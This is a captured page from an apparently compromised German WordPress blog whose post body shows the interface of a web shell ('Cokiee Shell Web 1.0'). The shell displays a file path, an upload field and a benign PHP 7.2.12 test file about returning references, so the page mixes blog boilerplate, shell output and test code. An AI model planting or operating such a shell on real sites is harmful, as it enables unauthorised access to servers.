Hallo Welt!

von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare

Cokiee Shell

Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/tests/lang/

Upload File :

Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/tests/lang/returnByReference.006.phpt

--TEST--
Returning a reference from a function via another function
--INI--
error_reporting = E_ALL & ~E_STRICT
--FILE--
<?php
function returnConstantByValue() {
	return 100;
}

function &returnConstantByRef() {
	return 100;
}

function &returnVariableByRef() {
	return $GLOBALS['a'];
}

function &returnFunctionCallByRef($functionToCall) {
	return $functionToCall();
}

echo "\n---> 1. Via a return by ref function call, assign by reference the return value of a function that returns by value:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnConstantByValue');
$a++;
var_dump($a, $b);

echo "\n---> 2. Via a return by ref function call, assign by reference the return value of a function that returns a constant by ref:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnConstantByRef');
$a++;
var_dump($a, $b);

echo "\n---> 3. Via a return by ref function call, assign by reference the return value of a function that returns by ref:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnVariableByRef');
$a++;
var_dump($a, $b);

?>
--EXPECTF--
---> 1. Via a return by ref function call, assign by reference the return value of a function that returns by value:

Notice: Only variable references should be returned by reference in %s on line 15
int(5)
int(100)

---> 2. Via a return by ref function call, assign by reference the return value of a function that returns a constant by ref:

Notice: Only variable references should be returned by reference in %s on line 7
int(5)
int(100)

---> 3. Via a return by ref function call, assign by reference the return value of a function that returns by ref:
int(5)
int(5)

Cokiee Shell Web 1.0, Coded By Razor

Kommentar absenden Antworten abbrechen

Du musst angemeldet sein, um einen Kommentar abzugeben.